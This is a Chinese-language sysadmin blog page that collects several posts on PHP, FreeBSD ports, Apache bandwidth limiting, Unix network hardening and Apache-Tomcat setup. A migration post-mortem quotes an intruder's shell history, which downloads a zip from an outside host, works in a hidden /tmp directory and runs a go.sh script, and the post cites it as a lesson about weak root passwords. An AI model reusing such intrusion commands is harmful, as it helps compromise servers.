Posts Tagged www

再谈PHP

说起来用PHP做程序开发已经将近7年多了,从php3一直到php5,开发工具也从记事本一直到了Zend Stdio。php的优点自然不必说,随便哪个PHP技术论坛上一抓一把,可这么多项目做完了,总感觉上缺点什么。我不是“种族主义者”,只是谈一下作为开发人员或者项目管理人员最渴望PHP的功能。

内置函数不统一,PHP的内置函数命名可谓是乱得可以了,大写的、小写的、驼峰的、并列的、AtoB的、下划的……几乎每种命名方式都能在php的内置函数中找到,够得上一个“函数命名方式博览会”的了 。很不利于开发人员记忆。

环境差异,看似PHP只存在版本差异,其实如果你在IDC那边的虚拟主机上部署PHP你就会发现,开不开Safe_mode就够弄半天的了,还有引用的这个库那个库的,如果是pear这样的库也就罢了,大不了自己重新include;拿GD库来讲,根本没有办法通过其他方法来代用。如果同时又有幸使用了Zend加密过的php代码……

模板问题,现在用的最多的就属smarty了,可smarty的功能实在太强,里面的循环、判断和自动转换格式的部分,真不知道是给美工做还是给开发人员做更合适。如果不用模板,直接把php嵌入html中,同样的问题。

数据库访问,有很多数据库的访问接口,但始终无法摆脱fetch的命运,不论怎么封包,复杂的SQL语句总归要成了程序开发中的重点和系统运行中的瓶颈。

对象访问,php的对象在不断的增强,但还是有待增强。虽然不会把php当作java来用。

层次,企业环境开发,最希望的是能把系统访问和应用访问分开,界面和程序分开(即MVC),这一点PHP需要很大的工作量才可以做到,于是大多开发人员不得不选择了不分开。所有的代码集中到了一起,逻辑上很乱,也没有办法实现代码重用。

调试环境,相比java的调试环境,Zend Studio还远远不够。

框架,市面上流行的几个PHP框架,例如ZF,无一例外的都是模仿了Struct或者.net,没有真正表现出PHP自己的特色,这似乎成了一个怪圈——如果别人用框架觉得好就可能从php转到struct或者.net,用得不好反而会得出php很烂的结论,从而转到其他语言。

总之,上面的牢骚只是希望php有所改善,并非是挑php的骨头。

 

,

1 Comment

分辨率限制

新买了显示器,ViewSonic优派的VA1703WB,看型号就知道这是一款宽屏的显示器,最佳分辨率为1440×900。回头看看我的网站——乖乖,这么多空白,也怪我当初设计的时候只考虑到所谓的“流体布局”,所有的表格宽度都用了相对宽度。修改CSS吧。

body的属性增加了text-align:center background-color:#ccc
添加了body table{width:1009px}

强行锁住了页面宽度,OK了就是您现在看到的样子。

No Comments

共享Google地图搜索

回前几天问过这个问题的某位老兄。

将地图的搜索结果嵌入自己的页面这个功能其实google map 已经提供了。

地图搜索嵌入

 


查看大图

No Comments

用FreeBSD的ports安装apache+php+mysql·改

 正如我一贯习惯于规律性的工作和生活一样,昨天,我按照惯例在以往的时间,用电脑里的outlook软件收信——天热,纵然室内空调的温度已经远远低于官方标准的26度,人毕竟还是没有冷天来的那么清醒。如果从心理学的角度上讲,也许那时的我正处在“意识朦胧状态”。除了正如以往枯燥的工作E-mail之外,我收到了一封网友的E-mail。出乎意料的是,不同于往常访客在浏览了我的个人网页以后会在文章后面发表评论,这次却是发了mail。既然如此,我觉得mail一定是重要的,至少体现了相当一部分访客的心情吧。

那篇E-mail不长,在我的电脑上显示下来仅仅只有三行不到的样子,大抵的内容无非是说本站如何如何的帮了忙,我不免沾沾自喜起来——正如往常的沾沾自喜一样,mail的结尾处指出了小站的几个问题,最重要的是说很多文章过于流程化了,没有一点文字上的修饰和润色,言外之意是字里行间缺乏应有的优雅和细致。要指明的是,所谓优雅和细致,正是目前白领文学或者说白领文化所擅长的。说到白领文化的代表,我想村上春树的小说(或者说林少华翻译的日本小说)、伍佰的歌词、汪家卫的台词、小女人的blog绝对可以作为代表。作为我,从来没有当作自己是白领的一员——乏味的代码、吵闹的机房、灰尘遍布的机架,也许能跟这些词句联系上的只有“体力劳动”一个词了。我固然写不出优雅和细致,字里行间唯独只有王朔依稀的身影。于是我决定做一个尝试,既然有这样的需求,按照目前常说的一句话似乎叫做“需求第一”吧,我决定润色并重写本站访问量最高的那篇文章……

  Read the rest of this entry »

, , ,

6 Comments

使用cband模块管理系统带宽

这些天网站流量相当大,已经有一部分游客向我抱怨已经无法访问网站了。看了下系统负载,很低,但使用nload看了下网络带宽竟然在40M以上!为更多的用户可以访问本站,我只能对于带宽进行了部分限制——希望大家不要骂我

具体步骤如下:(系统为FreeBSD)

  1. 安装,FreeBSD还是那一套,
    cd /usr/ports/www/mod_cband
    make install clean
  2. 启用模块
    grep cban /usr/local/etc/apache2/httpd.conf(apach配置文件),应该有“LoadModule cband_module       libexec/apache2/mod_cband.so"说明已经载入了cband模块,否则请添加该语句。
  3. 配置,Cban的配置主要有这么几种
    • CBandLimit 10M 限制该虚拟主机的带宽为10M,如果超过该数值,返回503报错
    • CBandSpeed  100 10 30 限制此虚拟主机最高访问速度100kbps,每秒最高接受10个请求,最高并发连接30个请求
    • CBandRemoteSpeed 100kb/s 3 2  限制用户最高100kbs 的带宽,3个请求,2个连接
    • CBandPeriod 1W 主要针对CBandLimit,即每隔1周计数器清空
  4. 开启实时监控网页,在配置文件中增加
    <Location /cband>
    SetHandler cband-status-me
    </Location>
    访问http://yourdomain/cband就可以看到实时的数据统计。

该模块消耗的系统资源比较大,但可以减少部分网络带宽,使用时请注意。

No Comments

迁移项目

最近做了一个项目,闲着无事,整理一下做个总结。

某网站,平台为Redhatas 3.0 apache2.0 php4.1 mysql4.0,系统主要的负载集中在论坛上,该论坛为较早版本的改版Vbb。高峰时段负载一度超过500,缓存占用80%以上。后来由于系统允许root远程SSH登录,同时使用了简单密码,该网站被强拆密码后下载了恶意程序。操作历史为:

187 wget apocalipsa.org/congi/vic.zip
188 cd /tmp/.” ”
189 ls -a 190 cd /tmp/.” ”
191 l s-a
192 ls -a
193 vi go.sh
194 :wq
195 cd /tmp/.” ”
196 screen
197 ./go.sh 203
198 cd /tmp/.” ”
199 sls -a
200 ls -a
201 cat vuln.txt

重新做系统时采用了FreeBSD6.2,考虑到兼容问题,一开始数据库还是用的mysql4.0.23,Apache 2.2.4_2 php4.4.4。系统一出来发现一旦负载超过30就几乎无法操作了。考虑到数据库比较旧的问题,决定首先升级数据库。

数据库升级的还算比较顺利——至少没有出现兼容问题。升级后忽然发现负载竟然惊人的回落,缓存也只有10%左右,看来5.x的新引擎真的不是吹的。

数据库是升级了,响应速度仍然不够乐观,设置了一个mysql的long-time-log,记录了3天的超时查询,发现vbb的sql语句真的很令人汗颜——一条4层left jion命令,几条命令的长度竟然超过1000个字符……

费了不少的力气将论坛移植到了discuz!,响应时间在0.1秒以下,问题总算解决。

总结:

  1. 在保证兼容性的基础上尽量使用更高版本的数据库
  2. 允许root远程直接登录的同时,使用弱口令的后果是灾难性的
  3. mysql很不适合做跨表查询,如果你的程序有太多的跨表查询,要么请用postgresql,要么重新设计你的数据结构。
  4. 有的时候更新软件比升级硬件更加有效果,何乐不为?

No Comments

Gmail/Gmaps开发工具开源

虽然在日前禁止了对Google Mapa进行逆向工程的开源项目“盖亚计划”,不过Google在今天宣布开放“Google Web Toolkit”(GWT)开发工具的源代码,大名鼎鼎的Google Maps和Gmail等Google服务正是基于此工具而来的。

从 现在开始,独立开发人员就可以使用GWT来制作自己的Java程序了,或者用来改进已有的Java程序,但必须遵守Apache 2.0开源协议。Java的设计初衷就是跨平台性,但浏览器的差异拖了后腿,因此Google希望GWT开源能帮助开发人员提高浏览器的兼容性,并创建优 秀的动态网站。

GWT包括一个可以把Java源码和类转换成JavaScrip、HTML页面的编译器,然后可以通过GWT的debug网络浏览器进行纠错、改善。

Google Web Toolkit的最新稳定版本是1.2,大小约13MB,测试版1.3 RC1也提供下载。

点击进入Google Web Toolkit主页

No Comments

Web2.0时代的怪状乱弹

上次写过一篇Web2.0给网站带来的优劣势分析了一下web2.0带来的种种便利和不便。时隔近一年了,感慨于这一年来web2.0带来的种种新方式和新问题,总结了一下。

所谓的2006过去的这10个月里,不得不说,网络名人如走马灯般的更迭,一个“热门人物”几周之内风起云涌,几天后又风平浪静。这一变化的主要展示媒体已经以经转变到blog平台为主。听过周杰伦和费玉清的《千里之外》,跨越了广播时代和电视时代。广播时代唯一炒作的方式只有靠好嗓子迎合听觉需求;电视时代嗓子成了次要,要学会包装,学会迎合观众的视觉需求。那么web2.0时代的blog平台要求迎合的正是某种对于某种东西不满而发泄的需求以及对于某种隐秘东西的窥视。要出名,首先要“露”或者“暴料”,如果没有料,就学会恶搞以及骂人和挨骂。
blog——作为私人日记的延伸,注定带有很多个人的主观和臆断,决定了个人的性格和价值取向。一旦迎合了网民公有的需求,不管出于主观的有意或无意那么它便成为公众的焦点;加之网络特有的隐秘性,决定了任何人都享有平等的骂人和被人骂的权利。

“网络追凶”的兴起,再次考验了个人的社会道德。首先,这里不打算讨论那些“被追”的人到底是不是真的罪大恶极到全人类欲杀之而后快的地步。某些人为了自己的利益或者根本只是发泄一下,借助网络媒体的广泛性,很快泛滥;借助于“去中心化”的web2.0,转瞬之间便无法控制,接着就会出现N多不明事理的人加入进来——大多根本不在事件之内,对事件甚至不了解。造成了难以控制的影响。这只能说一个人忽悠了全社会的良知。

google的创始人曾经说,他最害怕google成为一个Evil,由于过分的被信任,造成很多负面信息的流传。事实证明:web2.0已经逐渐映证了这个现实。出于人类的生存本能,相对于各种正面的东西,人们更容易接受负面的信息。“好事不出门,坏事传千里。”久而久之,各种阴暗充斥网络。似乎一个人更容易于操纵网络舆论乃至影响社会舆论,不得不说,相当危险。

P2P,原本最能体现web2.0精神的创意,现在成了各类盗版软件、音响制品的温床。而且由于他一度占据了互联网流量的半数以上,一段时间内成了网络一害。

web2.0似乎已经到来,而且似乎足够成熟,但在此之前,我们自己是否已经真的适应了web2.0?

No Comments

Unix的运行apache的内核微调

下面叙述的一些调整参数和句法在重新启动后将不会自动激活,所以如果你需要在每次启动的时候长期保持这些参数,你就需要增加这些实时命令到如下的启动文件中:

AIX – /etc/rc.net
Solaris – /etc/init.d/inetinit
Tru64 UNIX – 使用sysconfigdb 或者 dxkerneltuner 命令
HP-UX – /etc/rc.config.d/nddconf
Linux kernel 2.2 – /etc/sysctl.conf
FreeBSD – /etc/rc.conf
IRIX – 使用systune命令

=============================================================
以下是一些IP堆栈调整建议:

1,调节TCP发送和接受空间(TCP send and receive spaces)

TCP发送和接受的空间直接影响TCP 窗口大小参数(TCP window size parameter), 一定程度上的窗口大小增加有助于更有效的传输,尤其是一些需要大数量传输的服务如FTP和HTTP,默认的一些设置不是每个系统都是最优化的,一般我们需 要增加这个窗口大小为32768字节。除非你设置的时候很清楚的理解RFC1323(http://www.ietf.org/rfc/rfc1323.txt?number=1323)和RFC2018(http://www.ietf.org/rfc/rfc2018.txt?number=2018),否则你不要把这个值增加到高于64K字节。

A. AIX
/usr/sbin/no -o tcp_sendspace=32768
/usr/sbin/no -o tcp_recvspace=32768

B. Solaris
/usr/sbin/ndd -set /dev/tcp tcp_xmit_hiwat 32768
/usr/sbin/ndd -set /dev/tcp tcp_recv_hiwat 32768

C. Tru64 UNIX
没有推荐的调整.

D. HP-UX
默认情况下TCP发送和接受空间已经设置为32768.

E. Linux kernel 2.2
Linux自动分配TCP发送和接受空间并默认共同支持RFC1323 (large window support, net.ipv4.tcp_window_scaling) 和 RFC2018 (SACK support, net.ipv4.tcp_sack).

F. FreeBSD
sysctl -w net.inet.tcp.sendspace=32768
sysctl -w net.inet.tcp.recvspace=32768

G. IRIX
默认情况下TCP发送和接受空间设置为64K字节.

2,调整套接口序列防止SYN攻击

各种网络应用软件一般必须开放一个或者几个端口供外界使用,所以其必定可以会被恶意攻击者向这几个口发起拒绝服务攻击,其中一个很流行的攻击就是 SYNFLOOD,在攻击发生时,客户端的来源IP地址是经过伪造的(spoofed),现行的IP路由机制仅检查目的IP地址并进行转发,该IP包到达 目的主机后返回路径无法通过路由达到的,于是目的主机无法通过TCP三次握手建立连接。在此期间因为TCP套接口缓存队列被迅速填满,而拒绝新的连接请 求。为了防止这些攻击,部分UNIX变种采用分离入站的套接口连接请求队列,一队列针对半打开套接口(SYN 接收, SYN|ACK 发送), 另一队列针对全打开套借口等待一个accept()调用,增加这两队列可以很好的缓和这些SYN FLOOD攻击并使对服务器的影响减到最小程度:

A. AIX
/usr/sbin/no -o clean_partial_conns=1
这个设置会指示内核随机的从q0队列中去掉半打开套接口来为新的套接口增加所需空间。

B. Solaris
/usr/sbin/ndd -set /dev/tcp tcp_conn_req_max_q 1024
使q 队列拥有接口等待来自应用程序的accept()调用.
/usr/sbin/ndd -set /dev/tcp tcp_conn_req_max_q0 2048
使q0 队列能维护半打开套接口.

C. Tru64 UNIX
/sbin/sysconfig -r socket sominconn=65535
这个sominconn的值决定了系统能同时处理多少个相同的进入的SYN信息包.
/sbin/sysconfig -r socket somaxconn=65535
这个somaxconn值设置了系统能保留多少个待处理TCP连接.

D. HP-UX
/usr/sbin/ndd -set tcp_syn_rcvd_max 1024
/usr/sbin/ndd -set tcp_conn_request_max 200

E. Linux kernel 2.2
/sbin/sysctl -w net.ipv4.tcp_max_syn_backlog=1280
有效的增加q0的套接口队列大小.
/sbin/sysctl -w net.ipv4.tcp_syn_cookies=1
启用TCP SYN cookies支持,能有效的减轻SYN FLOOD的攻击,但是这个参数会对一些大的窗口引起一些性能问题(参看RFC1323 and RFC2018.

F. FreeBSD
sysctl -w kern.ipc.somaxconn=1024

G. IRIX
listen()队列被硬性设置为32.但是系统实际采用待处理连接数为((3 * backlog) / 2) + 1,其中的backlog数值最大值为49.

3,调整Redirects参数

恶意用户可以使用IP重定向来修改远程主机中的路由表,在设计良好的网络中,末端的重定向设置是不需要的,发送和接受重定向信息包都要关闭。

A. AIX
/usr/sbin/no -o ipignoreredirects=1
/usr/sbin/no -o ipsendredirects=0

B. Solaris
/usr/sbin/ndd -set /dev/ip ip_ignore_redirect 1
/usr/sbin/ndd -set /dev/ip ip_send_redirects 0

C. Tru64 UNIX
没有推荐的调整设置.

D. HP-UX
/usr/sbin/ndd -set /dev/ip ip_send_redirects 0

E. Linux kernel 2.2
/sbin/sysctl -w net.ipv4.conf.all.send_redirects=0
/sbin/sysctl -w net.ipv4.conf.all.accept_redirects=0

F. FreeBSD
sysctl -w net.inet.icmp.drop_redirect=1
sysctl -w net.inet.icmp.log_redirect=1
sysctl -w net.inet.ip.redirect=0
sysctl -w net.inet6.ip6.redirect=0

G. IRIX
/usr/sbin/systune icmp_dropredirects to 1

4,调整ARP清理设置

通过向IP路由缓冲填充伪造的ARP条目可以让恶意用户产生资源耗竭和性能减低攻击。在Solaris中,有2个参数可以管理间隔的清理IP路由缓冲,针 对未请求的ARP响应可以通过arp_cleanup_interval调整,AIX可以通过artp_killc来设置。

A. AIX
/usr/sbin/no -o arpt_killc=20
B. Solaris
/usr/sbin/ndd -set /dev/arp arp_cleanup_interval 60000
C. Tru64 UNIX
没有参考的调整设置.
D. HP-UX
默认设置为5分钟.
E. Linux kernel 2.2
没有参考的调整设置.
F. FreeBSD
sysctl -w net.link.ether.inet.max_age=1200
G. IRIX
没有参考的调整设置.

5,调整源路由的设置

通过源路由,攻击者可以尝试到达内部IP地址 –包括RFC1918中的地址,所以不接受源路由信息包可以防止你的内部网络被探测。

A. AIX
/usr/sbin/no -o ipsrcroutesend=0
关闭源路由信息包发送.

/usr/sbin/no -o ipsrcrouteforward=0
如果你这个系统要做路由工作如防火墙,这个参数就很重要,关闭这个特征就可以很好的防止转发源路由信息包.

B. Solaris
/usr/sbin/ndd -set /dev/ip ip_src_route_forward 0
如果你这个系统要做路由工作如防火墙,这个参数就很重要,关闭这个特征就可以很好的防止转发源路由信息包.

C. Tru64 UNIX
没有推荐的调整.

D. HP-UX
ndd -set /dev/ip ip_forward_src_routed 0
关闭这个特征就可以很好的防止转发源路由信息包.

E. Linux kernel 2.2
/sbin/sysctl -w net.ipv4.conf.all.accept_source_route=0
丢弃所有源地址信息包.
/sbin/sysctl -w net.ipv4.conf.all.forwarding=0
/sbin/sysctl -w net.ipv4.conf.all.mc_forwarding=0
不转发源路由帧.

F. FreeBSD
sysctl -w net.inet.ip.sourceroute=0
sysctl -w net.inet.ip.accept_sourceroute=0

G. IRIX
/usr/sbin/systune ipforward to 2

6. 调整TIME_WAIT setting 设置

在一些比较繁忙的WEB服务器上,许多套接口可能就处于TIME_WAIT状态,这是由于一些不正规编码的客户端应用程序没有很正确的处理套接口所引起的,这就可能引起如DDOS的攻击。

A. AIX
没有推荐设置.

B. Solaris
/usr/sbin/ndd -set /dev/tcp tcp_time_wait_interval 60000

这个参数影响了TCP套接口保持TIME_WAIT状态的时间数,默认情况下对于一个繁忙的WEB服务器太高了,所以需要设置到低于每60秒,这个参数名 字适用与Solaris7或者更高的版本,在Solaris 7之前的版本,其名字不正确的表识为tcp_close_wait_interval.

C. Tru64 UNIX
没有推荐的调整设置.

D. HP-UX
ndd -set /dev/tcp tcp_time_wait_interval 60000
套接口将保持TIME_WAIT状态不超过60秒.

E. Linux kernel 2.2
/sbin/sysctl -w net.ipv4.vs.timeout_timewait=60
套接口将保持TIME_WAIT状态不超过60秒.

F. FreeBSD
没有推荐的调整设置.

G. IRIX
/usr/sbin/systune tcp_2msl to 60

7,调整广播ECHO响应

Smurf攻击就是一个伪造的地址通过发送ICMP 8 0 (ECHO REQUEST) 信息到一个广播地址,一些IP堆栈默认情况下会响应这些信息,所以必须关闭这个特征。如果这个主机作为防火墙使用(router),关闭这个特征就不能处理处理广播。

A. AIX
/usr/sbin/no -o directed_broadcast=0
不响应直接广播.

B. Solaris
/usr/sbin/ndd -set /dev/ip ip_respond_to_echo_broadcast 0
不响应直接广播.
/usr/sbin/ndd -set /dev/ip ip_forward_directed_broadcasts 0
不转发直接广播.

C. Tru64 UNIX
没有推荐调整设置.

D. HP-UX
ndd -set /dev/ip ip_respond_to_echo_broadcast 0
不响应直接广播.
ndd -set /dev/ip ip_forward_directed_broadcasts 0
不转发直接广播. 

E. Linux kernel 2.2
/sbin/sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1
不响应直接广播.

F. FreeBSD
sysctl -w net.inet.icmp.bmcastecho=0

G. IRIX
/usr/sbin/systune allow_brdaddr_srcaddr to 0

8,针对其他广播探测的调整

其他还有2个广播探测可以让恶意用户利用,一个就是地址掩码查询可以用来探测网络段大小和范围。时间戳广播可以映射和鉴定主机类型。

A. AIX
/usr/sbin/no -o icmpaddressmask=0
防止地址掩玛查询.

B. Solaris
/usr/sbin/ndd -set /dev/ip ip_respond_to_address_mask_broadcast 0
防止地址掩玛查询.

/usr/sbin/ndd -set /dev/ip ip_respond_to_timestamp_broadcast 0
关闭对时间戳广播询问的响应.

C. Tru64 UNIX
没有推荐的调整.

D. HP-UX
ndd -set /dev/ip ip_respond_to_address_mask_broadcast 0
防止泄露主机配置的网络掩码.

ndd -set /dev/ip ip_respond_to_timestamp_broadcast 0
关闭对时间戳广播询问的响应.

E. Linux kernel 2.2
没有推荐的调整.

F. FreeBSD
sysctl -w net.inet.icmp.maskrepl=0

G. IRIX
使用ipfilterd 来阻塞不需要的ICMP类型.

9,调整参数以支持RFC1948

下面几个调整会利用RFC1948(http://www.ietf.org/rfc/rfc1948.txt?number=1948)
TCP/IP序列号产生技术来保证给一个TCP 套接口的序列号码非常难猜测:

B. Solaris
Set TCP_STRONG_ISS=2 in /etc/default/inetinit.
这需要重新启动才能使能.

G. IRIX
/usr/sbin/systune tcpiss_md5 to 1

,

No Comments

FreeBSD下整合Apache和Tomcat

首先,建议大家检查 /etc/rc.conf,看看有没有开启Linux二进制兼容模式!

代码:
  linux_enable="YES"

安装之前,需要你安装JDK – Java Develop Kit,对应的需求如下:

  • Tomcat 4.x.x 以下版本 – JDK 1.3.X ~ JDK1.4.X
  • Tomcat 5.0.x 版本 – JDK 1.4.X or upper
  • Tomcat 5.5.x 版本 – JDK 5.0

自从发布了JDK的官方For FreeBSD版本后,安装JDK变得容易了许多。

下面开始进行….首先,请针对所需要安装的ports进行cvsup !

(1)安装Apache Web Server

代码:
  # cd /usr/ports/www/apache13/
  # make
  # make install


完成后,请在 /etc/rc.conf 加入如下内容:

代码:
  apache_enable="YES"

(2)安装Apache Tomcat

代码:
  # cd /usr/ports/www/jakarta-tomcat5/
  # make
  # make install


安装完成后,请确认是存在/usr/local/bin/tomcat50ctl!并确认server.xml是有开启AJP1.3的:

代码:
  <Connector port="8009" protocol="AJP/1.3" protocolHandlerClassName="org.apache.jk.server.JkCoyoteHandler" redirectPort="8443">

(3)配置一些环境变量

图简单可以把它们放在/etc/rc.conf中!

代码:
  export JAVA_HOME=/usr/local/jdk1.5.0
  export CATALINA_HOME=/usr/local/jakarta-tomcat5.0
  export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar

(4)阶段性测试

看看Tomcat是否正常:

代码:
  # cd /usr/local/jakarta-tomcat5.0/bin/
  # ./startup.sh


应该看到如下的内容,并请你用Web浏览器测试Tomcat!

代码:
  Using CATALINA_BASE:   /usr/local/jakarta-tomcat5.0
  Using CATALINA_HOME:   /usr/local/jakarta-tomcat5.0
  Using CATALINA_TMPDIR:   /usr/local/jakarta-tomcat5.0/temp
  Using JAVA_HOME:   /usr/local/jdk1.5.0

(5)开始进行整合Apache & Tomcat

首先安装mod_jk:

代码:
  # cd /usr/ports/www/mod_jk
  # make
  # make install


完成后,请修改/usr/local/etc/apache/httpd.conf,找到下面2行,把行首的注释符号#去掉!

代码:
  LoadModule jk_module  libexec/apache/mod_jk.so
  AddModule  mod_jk.c


新增下面的配置内容:

代码:
  Include /usr/local/etc/apache/mod_jk.conf


修改/usr/local/etc/apache/mod_jk.conf的内容:

代码:
   <IfModule mod_jk.c>
       JkWorkersFile /usr/local/etc/apache/workers.properties
       JkLogFile  /var/log/mod_jk.log
       JkLogLevel warn
       JkMount /*.jsp default
       JkMount /servlet/* default
       JkMount /examples/* default
   </IfModule>


接下来,需要修改/usr/local/etc/apache/workers.properties (注意2个文件中的default只是一个代号!):

代码:
  workers.tomcat_home=/usr/local/jakarta-tomcat5.0
  workers.java_home=$JAVA_HOME
  ps=/
  worker.list=default
  worker.default.port=8009
  worker.default.host=localhost
  worker.default.type=ajp13
  worker.default.lbfactor=1

好,到这里配置基本上完成了,接下来开始祈祷并运行吧!

代码:
  # touch /var/log/mod_jk.log
  # /usr/local/bin/tomcat50ctl start
  # /usr/local/sbin/apachectl start

写一个测试的test.jsp放到/usr/local/jakarta-tomcat5.0/webapps/ROOT/,用 http://localhost/test.jsp 看看!

更多信息,请参考:ApacheTomcat.com FlashGuides

, ,

1 Comment